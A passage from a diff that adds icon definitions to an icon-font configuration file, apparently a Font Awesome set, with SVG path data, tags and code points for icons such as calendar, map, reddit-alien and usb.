18.286-18.286h329.143c10.286 0 18.286 8 18.286 18.286zM73.143 950.857h804.571v-585.143h-804.571v585.143zM292.571 256v-164.571c0-10.286-8-18.286-18.286-18.286h-36.571c-10.286 0-18.286 8-18.286 18.286v164.571c0 10.286 8 18.286 18.286 18.286h36.571c10.286 0 18.286-8 18.286-18.286zM731.429 256v-164.571c0-10.286-8-18.286-18.286-18.286h-36.571c-10.286 0-18.286 8-18.286 18.286v164.571c0 10.286 8 18.286 18.286 18.286h36.571c10.286 0 18.286-8 18.286-18.286zM950.857 219.429v731.429c0 40-33.143 73.143-73.143 73.143h-804.571c-40 0-73.143-33.143-73.143-73.143v-731.429c0-40 33.143-73.143 73.143-73.143h73.143v-54.857c0-50.286 41.143-91.429 91.429-91.429h36.571c50.286 0 91.429 41.143 91.429 91.429v54.857h219.429v-54.857c0-50.286 41.143-91.429 91.429-91.429h36.571c50.286 0 91.429 41.143 91.429 91.429v54.857h73.143c40 0 73.143 33.143 73.143 73.143z" + ], + "width": 950.8571428571428, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "calendar-minus-o" + ], + "defaultCode": 62066, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "calendar-minus-o", + "id": 571, + "order": 1427, + "prevSize": 28, + "code": 62066 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 571 + }, + { + "icon": { + "paths": [ + "M634.857 791.429l-26.286 26.286c-6.857 6.857-18.286 6.857-25.714 0l-107.429-108-107.429 108c-7.429 6.857-18.857 6.857-25.714 0l-26.286-26.286c-6.857-6.857-6.857-18.286 0-25.714l108-107.429-108-107.429c-6.857-7.429-6.857-18.857 0-25.714l26.286-26.286c6.857-6.857 18.286-6.857 25.714 0l107.429 107.429 107.429-107.429c7.429-6.857 18.857-6.857 25.714 0l26.286 26.286c6.857 6.857 6.857 18.286 0 25.714l-107.429 107.429 107.429 107.429c6.857 7.429 6.857 18.857 0 25.714zM73.143 950.857h804.571v-585.143h-804.571v585.143zM292.571 256v-164.571c0-10.286-8-18.286-18.286-18.286h-36.571c-10.286 0-18.286 8-18.286 18.286v164.571c0 10.286 8 18.286 18.286 18.286h36.571c10.286 0 18.286-8 18.286-18.286zM731.429 256v-164.571c0-10.286-8-18.286-18.286-18.286h-36.571c-10.286 0-18.286 8-18.286 18.286v164.571c0 10.286 8 18.286 18.286 18.286h36.571c10.286 0 18.286-8 18.286-18.286zM950.857 219.429v731.429c0 40-33.143 73.143-73.143 73.143h-804.571c-40 0-73.143-33.143-73.143-73.143v-731.429c0-40 33.143-73.143 73.143-73.143h73.143v-54.857c0-50.286 41.143-91.429 91.429-91.429h36.571c50.286 0 91.429 41.143 91.429 91.429v54.857h219.429v-54.857c0-50.286 41.143-91.429 91.429-91.429h36.571c50.286 0 91.429 41.143 91.429 91.429v54.857h73.143c40 0 73.143 33.143 73.143 73.143z" + ], + "width": 950.8571428571428, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "calendar-times-o" + ], + "defaultCode": 62067, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "calendar-times-o", + "id": 572, + "order": 1428, + "prevSize": 28, + "code": 62067 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 572 + }, + { + "icon": { + "paths": [ + "M744.571 550.857l-292.571 292.571c-7.429 6.857-18.857 6.857-26.286 0l-164.571-164.571c-6.857-7.429-6.857-18.857 0-25.714l26.286-26.286c6.857-6.857 18.286-6.857 25.714 0l125.714 125.714 253.714-253.714c7.429-6.857 18.857-6.857 25.714 0l26.286 26.286c6.857 6.857 6.857 18.286 0 25.714zM73.143 950.857h804.571v-585.143h-804.571v585.143zM292.571 256v-164.571c0-10.286-8-18.286-18.286-18.286h-36.571c-10.286 0-18.286 8-18.286 18.286v164.571c0 10.286 8 18.286 18.286 18.286h36.571c10.286 0 18.286-8 18.286-18.286zM731.429 256v-164.571c0-10.286-8-18.286-18.286-18.286h-36.571c-10.286 0-18.286 8-18.286 18.286v164.571c0 10.286 8 18.286 18.286 18.286h36.571c10.286 0 18.286-8 18.286-18.286zM950.857 219.429v731.429c0 40-33.143 73.143-73.143 73.143h-804.571c-40 0-73.143-33.143-73.143-73.143v-731.429c0-40 33.143-73.143 73.143-73.143h73.143v-54.857c0-50.286 41.143-91.429 91.429-91.429h36.571c50.286 0 91.429 41.143 91.429 91.429v54.857h219.429v-54.857c0-50.286 41.143-91.429 91.429-91.429h36.571c50.286 0 91.429 41.143 91.429 91.429v54.857h73.143c40 0 73.143 33.143 73.143 73.143z" + ], + "width": 950.8571428571428, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "calendar-check-o" + ], + "defaultCode": 62068, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "calendar-check-o", + "id": 573, + "order": 1429, + "prevSize": 28, + "code": 62068 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 573 + }, + { + "icon": { + "paths": [ + "M256 0c20 0 36.571 16.571 36.571 36.571v509.143l306.286-245.143c6.286-5.143 14.857-8 22.857-8 20 0 36.571 16.571 36.571 36.571v216.571l306.286-245.143c6.286-5.143 14.857-8 22.857-8 20 0 36.571 16.571 36.571 36.571v658.286c0 20-16.571 36.571-36.571 36.571h-950.857c-20 0-36.571-16.571-36.571-36.571v-950.857c0-20 16.571-36.571 36.571-36.571h219.429z" + ], + "width": 1024, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "industry" + ], + "defaultCode": 62069, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "industry", + "id": 574, + "order": 1430, + "prevSize": 28, + "code": 62069 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 574 + }, + { + "icon": { + "paths": [ + "M292.571 621.714c25.143 0 49.714-2.857 73.143-8.571v374.286c0 20-16.571 36.571-36.571 36.571h-73.143c-20 0-36.571-16.571-36.571-36.571v-374.286c23.429 5.714 48 8.571 73.143 8.571zM292.571 0c161.714 0 292.571 130.857 292.571 292.571s-130.857 292.571-292.571 292.571-292.571-130.857-292.571-292.571 130.857-292.571 292.571-292.571zM292.571 128c10.286 0 18.286-8 18.286-18.286s-8-18.286-18.286-18.286c-110.857 0-201.143 90.286-201.143 201.143 0 10.286 8 18.286 18.286 18.286s18.286-8 18.286-18.286c0-90.857 73.714-164.571 164.571-164.571z" + ], + "width": 585.1428571428571, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "map-pin" + ], + "defaultCode": 62070, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "map-pin", + "id": 575, + "order": 1431, + "prevSize": 28, + "code": 62070 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 575 + }, + { + "icon": { + "paths": [ + "M997.143 169.714c7.429 7.429 7.429 18.857 0 26.286l-80.571 80.571c-10.286 10.286-24.571 16-38.857 16h-768c-20 0-36.571-16.571-36.571-36.571v-146.286c0-20 16.571-36.571 36.571-36.571h329.143v-36.571c0-20 16.571-36.571 36.571-36.571h73.143c20 0 36.571 16.571 36.571 36.571v36.571h292.571c14.286 0 28.571 5.714 38.857 16zM438.857 694.857h146.286v292.571c0 20-16.571 36.571-36.571 36.571h-73.143c-20 0-36.571-16.571-36.571-36.571v-292.571zM914.286 438.857c20 0 36.571 16.571 36.571 36.571v146.286c0 20-16.571 36.571-36.571 36.571h-768c-14.286 0-28.571-5.714-38.857-16l-80.571-80.571c-7.429-7.429-7.429-18.857 0-26.286l80.571-80.571c10.286-10.286 24.571-16 38.857-16h292.571v-109.714h146.286v109.714h329.143z" + ], + "width": 1024, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "map-signs" + ], + "defaultCode": 62071, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "map-signs", + "id": 576, + "order": 1432, + "prevSize": 28, + "code": 62071 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 576 + }, + { + "icon": { + "paths": [ + "M1154.286 6.286c9.714 6.857 16 18.286 16 30.286v804.571c0 14.857-9.143 28.571-22.857 33.714l-365.714 146.286c-9.143 4-18.286 4-27.429 0l-352-140.571-352 140.571c-4.571 2.286-9.143 2.857-13.714 2.857-7.429 0-14.286-2.286-20.571-6.286-9.714-6.857-16-18.286-16-30.286v-804.571c0-14.857 9.143-28.571 22.857-33.714l365.714-146.286c9.143-4 18.286-4 27.429 0l352 140.571 352-140.571c11.429-4.571 24-3.429 34.286 3.429zM420.571 83.429v725.714l329.143 131.429v-725.714zM73.143 207.429v725.714l310.857-124v-725.714zM1097.143 816.571v-725.714l-310.857 124v725.714z" + ], + "width": 1170.2857142857142, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "map-o" + ], + "defaultCode": 62072, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "map-o", + "id": 577, + "order": 1433, + "prevSize": 28, + "code": 62072 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 577 + }, + { + "icon": { + "paths": [ + "M292.571 0c9.714 0 18.286 8.571 18.286 18.286v841.143c0 6.857-4 13.143-9.714 16l-274.286 146.286c-2.857 1.714-5.714 2.286-8.571 2.286-9.714 0-18.286-8.571-18.286-18.286v-841.143c0-6.857 4-13.143 9.714-16l274.286-146.286c2.857-1.714 5.714-2.286 8.571-2.286zM1005.714 0c9.714 0 18.286 8.571 18.286 18.286v841.143c0 6.857-4 13.143-9.714 16l-274.286 146.286c-2.857 1.714-5.714 2.286-8.571 2.286-9.714 0-18.286-8.571-18.286-18.286v-841.143c0-6.857 4-13.143 9.714-16l274.286-146.286c2.857-1.714 5.714-2.286 8.571-2.286zM365.714 0c2.857 0 5.714 0.571 8 1.714l292.571 146.286c6.286 3.429 10.286 9.714 10.286 16.571v841.143c0 9.714-8.571 18.286-18.286 18.286-2.857 0-5.714-0.571-8-1.714l-292.571-146.286c-6.286-3.429-10.286-9.714-10.286-16.571v-841.143c0-9.714 8.571-18.286 18.286-18.286z" + ], + "width": 1024, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "map" + ], + "defaultCode": 62073, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "map", + "id": 578, + "order": 1434, + "prevSize": 28, + "code": 62073 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 578 + }, + { + "icon": { + "paths": [ + "M365.714 512c0-40.571-32.571-73.143-73.143-73.143s-73.143 32.571-73.143 73.143 32.571 73.143 73.143 73.143 73.143-32.571 73.143-73.143zM585.143 512c0-40.571-32.571-73.143-73.143-73.143s-73.143 32.571-73.143 73.143 32.571 73.143 73.143 73.143 73.143-32.571 73.143-73.143zM804.571 512c0-40.571-32.571-73.143-73.143-73.143s-73.143 32.571-73.143 73.143 32.571 73.143 73.143 73.143 73.143-32.571 73.143-73.143zM1024 512c0 202.286-229.143 365.714-512 365.714-41.714 0-82.286-3.429-120.571-10.286-65.143 65.143-150.286 109.714-248.571 130.857-15.429 2.857-32 5.714-49.143 7.429-9.143 1.143-17.714-5.143-20-13.714v0c-2.286-9.143 4.571-14.857 11.429-21.143 36-33.714 78.857-60.571 93.714-181.143-109.143-66.857-178.857-166.286-178.857-277.714 0-202.286 229.143-365.714 512-365.714s512 163.429 512 365.714z" + ], + "width": 1024, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "commenting" + ], + "defaultCode": 62074, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "commenting", + "id": 579, + "order": 1435, + "prevSize": 28, + "code": 62074 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 579 + }, + { + "icon": { + "paths": [ + "M365.714 512c0 40.571-32.571 73.143-73.143 73.143s-73.143-32.571-73.143-73.143 32.571-73.143 73.143-73.143 73.143 32.571 73.143 73.143zM585.143 512c0 40.571-32.571 73.143-73.143 73.143s-73.143-32.571-73.143-73.143 32.571-73.143 73.143-73.143 73.143 32.571 73.143 73.143zM804.571 512c0 40.571-32.571 73.143-73.143 73.143s-73.143-32.571-73.143-73.143 32.571-73.143 73.143-73.143 73.143 32.571 73.143 73.143zM512 219.429c-237.714 0-438.857 133.714-438.857 292.571 0 85.143 57.143 166.286 156 222.286l49.714 28.571-15.429 54.857c-10.857 40.571-25.143 72-40 98.286 57.714-24 110.286-56.571 157.143-97.714l24.571-21.714 32.571 3.429c24.571 2.857 49.714 4.571 74.286 4.571 237.714 0 438.857-133.714 438.857-292.571s-201.143-292.571-438.857-292.571zM1024 512c0 202.286-229.143 365.714-512 365.714-28 0-56-1.714-82.857-4.571-74.857 66.286-164 113.143-262.857 138.286-20.571 5.714-42.857 9.714-65.143 12.571h-2.857c-11.429 0-21.714-9.143-24.571-21.714v-0.571c-2.857-14.286 6.857-22.857 15.429-33.143 36-40.571 77.143-74.857 104-170.286-117.714-66.857-193.143-170.286-193.143-286.286 0-201.714 229.143-365.714 512-365.714v0c282.857 0 512 164 512 365.714z" + ], + "width": 1024, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "commenting-o" + ], + "defaultCode": 62075, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "commenting-o", + "id": 580, + "order": 1436, + "prevSize": 28, + "code": 62075 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 580 + }, + { + "icon": { + "paths": [ + "M292.571 680.571l292.571-168.571v337.714l-292.571 169.143v-338.286zM0 512v337.714l292.571-169.143-292.571-168.571zM292.571 5.143v337.714l-292.571 169.143v-337.714zM292.571 342.857l292.571-168.571v337.714z" + ], + "width": 585.1428571428571, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "houzz" + ], + "defaultCode": 62076, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "houzz", + "id": 581, + "order": 1437, + "prevSize": 28, + "code": 62076 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 581 + }, + { + "icon": { + "paths": [ + "M976.571 296c-4 90.286-67.429 214.286-189.714 372-126.857 164-233.143 246.286-321.143 246.286-54.286 0-100-50.286-137.143-150.286-25.143-91.429-50.286-183.429-75.429-275.429-27.429-100-57.714-149.714-89.714-149.714-6.857 0-30.857 14.286-72.571 43.429l-44-56c45.714-40.571 90.857-81.714 136-121.143 60.571-53.714 106.857-80.571 137.714-83.429 72.571-6.857 116.571 42.286 133.714 148 17.714 114.286 30.857 185.714 37.714 213.143 21.143 94.857 43.429 142.286 68.571 142.286 19.429 0 48.571-30.286 88-92 38.857-61.714 59.429-108.571 62.286-140.571 5.143-53.143-15.429-79.429-62.286-79.429-22.286 0-45.143 5.143-69.143 14.857 45.714-149.714 133.143-222.286 262.286-218.286 95.429 2.857 140.571 65.143 134.857 186.286z" + ], + "width": 1029.12, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "vimeo" + ], + "defaultCode": 62077, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "vimeo", + "id": 582, + "order": 1438, + "prevSize": 28, + "code": 62077 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 582 + }, + { + "icon": { + "paths": [ + "M0 73.143h877.714v877.714h-877.714v-877.714zM620 710.286l-126.286-360.571 126.286-169.714h-362.286l126.286 169.714-126.286 360.571 181.143 173.714z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "black-tie" + ], + "defaultCode": 62078, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "black-tie", + "id": 583, + "order": 1439, + "prevSize": 28, + "code": 62078 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 583 + }, + { + "icon": { + "paths": [ + "M0 73.143h877.714v877.714h-877.714v-877.714zM518.857 256l-6.857 18.857 42.857 47.429-17.714 65.143 14.286 14.286 61.143-32.571 61.143 32.571 14.286-14.286-17.714-65.143 42.857-47.429-6.857-18.857h-54.286l-30.286-54.857h-18.286l-30.286 54.857h-54.286zM366.286 349.143c23.429 0 32.571 8.571 32 45.143l99.429-12c0-87.429-60-103.429-126.857-103.429-99.429 0-151.429 40-151.429 137.143v41.143h-54.857v73.143h43.429c5.714 0 11.429 0 11.429 4.571v218.286c0 10.857-2.857 14.286-13.143 15.429l-41.714 4v50.286h256v-49.143l-85.143-8c-10.286-1.143-6.286-2.857-6.286-14.286v-221.143h109.143l21.714-73.143h-132c-5.714 0 1.143-4 1.143-8.571v-45.714c0-34.286 1.143-53.714 37.143-53.714zM713.143 822.857v-49.143l-30.857-5.143c-10.857-1.714-5.714-2.857-5.714-14.286v-297.143h-157.143l-13.143 57.714 47.429 12.571c7.429 2.286 13.143 7.429 13.143 15.429v211.429c0 10.857-4.571 13.143-14.857 14.286l-40 5.143v49.143h201.143z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "fonticons" + ], + "defaultCode": 62080, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "fonticons", + "id": 584, + "order": 1440, + "prevSize": 28, + "code": 62080 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 584 + }, + { + "icon": { + "paths": [ + "M1024 483.429c0 44.571-25.143 82.857-62.286 101.714 4.571 17.714 6.857 36 6.857 54.857 0 180.571-204 326.857-455.429 326.857-250.857 0-454.857-146.286-454.857-326.857 0-18.286 2.286-36.571 6.286-53.714-38.286-18.857-64.571-57.714-64.571-102.857 0-62.857 50.857-113.714 113.714-113.714 32.571 0 61.714 13.714 82.857 36 77.143-53.714 180-88.571 294.286-92.571l66.286-297.714c2.286-10.286 13.143-17.143 23.429-14.857l210.857 46.286c13.714-27.429 42.857-46.857 76-46.857 47.429 0 85.714 38.286 85.714 85.143 0 47.429-38.286 85.714-85.714 85.714-46.857 0-85.143-38.286-85.143-85.143l-190.857-42.286-59.429 269.714c114.857 3.429 218.857 37.714 296.571 91.429 20.571-21.714 49.714-34.857 81.714-34.857 62.857 0 113.714 50.857 113.714 113.714zM238.857 597.143c0 47.429 38.286 85.714 85.143 85.714 47.429 0 85.714-38.286 85.714-85.714 0-46.857-38.286-85.143-85.714-85.143-46.857 0-85.143 38.286-85.143 85.143zM701.714 800c8.571-8.571 8.571-21.143 0-29.714-8-8-21.143-8-29.143 0-34.286 34.857-108 46.857-160.571 46.857s-126.286-12-160.571-46.857c-8-8-21.143-8-29.143 0-8.571 8-8.571 21.143 0 29.714 54.286 54.286 158.857 58.286 189.714 58.286s135.429-4 189.714-58.286zM700 682.857c46.857 0 85.143-38.286 85.143-85.714 0-46.857-38.286-85.143-85.143-85.143-47.429 0-85.714 38.286-85.714 85.143 0 47.429 38.286 85.714 85.714 85.714z" + ], + "width": 1024, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "reddit-alien" + ], + "defaultCode": 62081, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "reddit-alien", + "id": 585, + "order": 1441, + "prevSize": 28, + "code": 62081 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 585 + }, + { + "icon": { + "paths": [ + "M39.429 454.286h0.571c29.714-236.571 191.429-454.857 480.571-454.286 175.429 0 320 82.286 404.571 233.714 43.429 78.286 59.429 161.714 59.429 252.571v107.429h-642.857c2.857 265.143 389.714 256 556.571 139.429v215.429c-97.714 58.857-318.286 109.714-490.286 44-145.714-56-247.429-207.429-249.143-354.857-2.286-190.286 94.286-316.571 249.143-388.571-32.571 41.143-57.714 85.714-70.857 162.857h362.857c21.143-216.571-205.143-216.571-205.143-216.571-213.714 7.429-368 132-455.429 258.857z" + ], + "width": 1024, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "edge" + ], + "defaultCode": 62082, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "edge", + "id": 586, + "order": 1442, + "prevSize": 28, + "code": 62082 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 586 + }, + { + "icon": { + "paths": [ + "M0 859.429v-347.429h1316.571v347.429c0 50.286-41.143 91.429-91.429 91.429h-1133.714c-50.286 0-91.429-41.143-91.429-91.429zM365.714 731.429v73.143h219.429v-73.143h-219.429zM146.286 731.429v73.143h146.286v-73.143h-146.286zM1225.143 73.143c50.286 0 91.429 41.143 91.429 91.429v128h-1316.571v-128c0-50.286 41.143-91.429 91.429-91.429h1133.714z" + ], + "width": 1316.5714285714284, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "credit-card-alt" + ], + "defaultCode": 62083, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "credit-card-alt", + "id": 587, + "order": 1443, + "prevSize": 28, + "code": 62083 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 587 + }, + { + "icon": { + "paths": [ + "M905.143 737.143l-124.571-63.429c-56 91.429-155.429 147.429-262.857 147.429-170.286 0-308-137.714-308-307.429 0-170.286 137.714-308 308-308 100 0 193.714 48.571 251.429 130.857l122.857-71.429c-84-129.143-226.286-206.286-380-206.286-250.286 0-453.143 202.857-453.143 453.143s202.857 453.143 453.143 453.143c162.286 0 312.571-86.857 393.143-228zM588.571 510.286l396 201.143c-86.857 189.714-261.143 312.571-472.571 312.571-282.857 0-512-229.143-512-512s229.143-512 512-512c201.143 0 366.857 110.857 460.571 285.714zM881.714 512h-22.286v91.429h-54.857v-201.143h77.714c63.429 0 69.143 109.714-0.571 109.714z" + ], + "width": 984.576, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "codiepie" + ], + "defaultCode": 62084, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "codiepie", + "id": 588, + "order": 1444, + "prevSize": 28, + "code": 62084 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 588 + }, + { + "icon": { + "paths": [ + "M815.429 405.143l-350.857-220.571 52.571-86.286h488.571zM231.429 556.571l-105.143-66.286v-490.286l676 424.571zM813.714 479.429l84 54.286v490.286l-304-191.429zM792.571 467.429l-285.714 458.286h-488.571l203.429-326.286z" + ], + "width": 1024, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "modx" + ], + "defaultCode": 62085, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "modx", + "id": 589, + "order": 1445, + "prevSize": 28, + "code": 62085 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 589 + }, + { + "icon": { + "paths": [ + "M365.714 576v-128c0-5.143-4-9.143-9.143-9.143h-54.857c-5.143 0-9.143 4-9.143 9.143v128c0 5.143 4 9.143 9.143 9.143h54.857c5.143 0 9.143-4 9.143-9.143zM658.286 576v-128c0-5.143-4-9.143-9.143-9.143h-54.857c-5.143 0-9.143 4-9.143 9.143v128c0 5.143 4 9.143 9.143 9.143h54.857c5.143 0 9.143-4 9.143-9.143zM950.857 594.286v429.714h-365.714v-182.857c0-60.571-49.143-109.714-109.714-109.714s-109.714 49.143-109.714 109.714v182.857h-365.714v-429.714c0-5.143 4-9.143 9.143-9.143h54.857c5.143 0 9.143 4 9.143 9.143v64h73.143v-356.571c0-5.143 4-9.143 9.143-9.143h54.857c5.143 0 9.143 4 9.143 9.143v64h73.143v-64c0-5.143 4-9.143 9.143-9.143h54.857c5.143 0 9.143 4 9.143 9.143v64h73.143v-64c0-12 16-9.143 23.429-9.143v-223.429c-10.857-5.143-18.286-16.571-18.286-28.571 0-17.143 14.286-31.429 31.429-31.429s31.429 14.286 31.429 31.429c0 12-7.429 23.429-18.286 28.571v9.714c15.429-3.429 31.429-5.714 47.429-5.714 23.429 0 45.714 8.571 65.143 8.571 17.714 0 37.714-8.571 48-8.571 5.143 0 9.143 4 9.143 9.143v120c0 13.714-46.286 16-55.429 16-21.143 0-41.143-8.571-62.857-8.571-17.143 0-34.857 2.857-51.429 6.857v76c7.429 0 23.429-2.857 23.429 9.143v64h73.143v-64c0-5.143 4-9.143 9.143-9.143h54.857c5.143 0 9.143 4 9.143 9.143v64h73.143v-64c0-5.143 4-9.143 9.143-9.143h54.857c5.143 0 9.143 4 9.143 9.143v356.571h73.143v-64c0-5.143 4-9.143 9.143-9.143h54.857c5.143 0 9.143 4 9.143 9.143z" + ], + "width": 950.8571428571428, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "fort-awesome" + ], + "defaultCode": 62086, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "fort-awesome", + "id": 590, + "order": 1446, + "prevSize": 28, + "code": 62086 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 590 + }, + { + "icon": { + "paths": [ + "M1307.429 460c5.714 2.857 9.143 9.143 9.143 15.429s-3.429 12.571-9.143 15.429l-182.857 109.714c-2.857 1.714-5.714 2.857-9.143 2.857-2.857 0-6.286-0.571-9.143-2.286-5.714-3.429-9.143-9.143-9.143-16v-73.143h-490.286c18.286 28.571 33.714 62.286 47.429 94.286 27.429 61.714 55.429 125.143 95.429 125.143h54.857v-54.857c0-10.286 8-18.286 18.286-18.286h182.857c10.286 0 18.286 8 18.286 18.286v182.857c0 10.286-8 18.286-18.286 18.286h-182.857c-10.286 0-18.286-8-18.286-18.286v-54.857h-54.857c-87.429 0-126.857-89.714-162.286-168.571-26.857-61.143-54.857-124-93.714-124h-205.714c-16.571 62.857-73.714 109.714-141.714 109.714-80.571 0-146.286-65.714-146.286-146.286s65.714-146.286 146.286-146.286c68 0 125.143 46.857 141.714 109.714h59.429c38.857 0 66.857-62.857 93.714-124 35.429-78.857 74.857-168.571 162.286-168.571h61.143c15.429-42.857 55.429-73.143 103.429-73.143 60.571 0 109.714 49.143 109.714 109.714s-49.143 109.714-109.714 109.714c-48 0-88-30.286-103.429-73.143h-61.143c-40 0-68 63.429-95.429 125.143-13.714 32-29.143 65.714-47.429 94.286h636.571v-73.143c0-6.857 3.429-12.571 9.143-16s13.143-2.857 18.286 0.571z" + ], + "width": 1316.5714285714284, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "usb" + ], + "defaultCode": 62087, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "usb", + "id": 591, + "order": 1447, + "prevSize": 28, + "code": 62087 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 591 + }, + { + "icon": { + "paths": [ + "M657.143 435.429c0 42.286-34.286 76.571-77.143 76.571v0h-144.571v-153.714h144.571c42.857 0 77.143 34.286 77.143 77.143zM759.429 435.429c0-99.429-80-179.429-179.429-179.429v0h-247.429v512h102.857v-153.714h144.571c99.429 0 179.429-80 179.429-178.857zM1024 512c0 282.857-229.143 512-512 512s-512-229.143-512-512 229.143-512 512-512 512 229.143 512 512z" + ], + "width": 1024, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "product-hunt" + ], + "defaultCode": 62088, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "product-hunt", + "id": 592, + "order": 1448, + "prevSize": 28, + "code": 62088 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 592 + }, + { + "icon": { + "paths": [ + "M940 627.429c0-45.714-29.143-84.571-69.143-100-2.857 17.714-7.429 35.429-13.143 52.571-5.714 18.286-22.857 29.714-41.143 29.714-4.571 0-9.143-0.571-13.714-1.714-23.429-8-35.429-32.571-28-55.429 8.571-26.286 13.143-53.714 13.143-81.714 0-142.857-116.571-259.429-260-259.429-102.857 0-195.429 61.143-236.571 152.571 40 10.286 77.143 30.857 107.429 60.571 17.143 17.143 17.143 45.143 0 62.286s-45.143 17.143-62.286 0c-27.429-27.429-64-42.857-102.857-42.857-80.571 0-146.286 65.143-146.286 145.714s65.714 145.714 146.286 145.714h597.714c60 0 108.571-48.571 108.571-108zM1027.429 627.429c0 108-88 195.429-196 195.429h-597.714c-129.143 0-233.714-104.571-233.714-233.143 0-117.143 86.857-213.714 199.429-230.286 47.429-139.429 179.429-235.429 328.571-235.429 180 0 328.571 137.714 345.714 313.143 87.429 18.857 153.714 97.143 153.714 190.286zM1170.286 627.429c0 65.143-18.857 128-55.429 182.286-8.571 12.571-22.286 18.857-36.571 18.857v0c-8.571 0-17.143-2.286-24.571-7.429-20-13.143-25.143-40.571-11.429-60.571 26.857-39.429 40.571-85.143 40.571-133.143 0-47.429-13.714-93.714-40.571-133.143-13.714-20-8.571-46.857 11.429-60.571s47.429-8 61.143 12c36.571 53.714 55.429 116.571 55.429 181.714zM1316.571 627.429c0 90.857-26.286 178.286-76.571 253.143-8.571 12.571-22.286 19.429-36.571 19.429v0c-8 0-16.571-2.286-24-7.429-20-13.714-25.714-40.571-12-60.571 40-60.571 61.714-131.429 61.714-204.571s-21.714-144-61.714-204c-13.714-20-8-47.429 12-60.571 20-13.714 46.857-8.571 60.571 12 50.286 74.286 76.571 161.714 76.571 252.571z" + ], + "width": 1316.5714285714284, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "mixcloud" + ], + "defaultCode": 62089, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "mixcloud", + "id": 593, + "order": 1449, + "prevSize": 28, + "code": 62089 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 593 + }, + { + "icon": { + "paths": [ + "M857.143 885.143c0 68-54.857 123.429-123.429 123.429s-124-55.429-124-123.429c0-68.571 55.429-124 124-124s123.429 55.429 123.429 124zM724 724.571c-86.857 11.429-154.286 85.714-154.286 176 0 28 6.857 55.429 18.857 78.857-51.429 27.429-121.143 44.571-216.571 44.571-304 0-351.429-214.857-351.429-243.429 0-29.143 17.143-124.571 124.571-124.571s122.286 92 122.286 110.857c0 0 0 19.429-13.143 46.286 36.571 34.286 122.857 34.286 122.857 34.286 86.286 0 151.429-42.286 151.429-105.143 0-63.429-73.143-94.286-240-172.571-166.857-78.857-229.714-136.571-229.714-280 0-144 96-289.714 335.429-289.714s329.714 134.286 329.714 226.286-78.286 114.857-107.429 114.857c-28.571 0-134.286 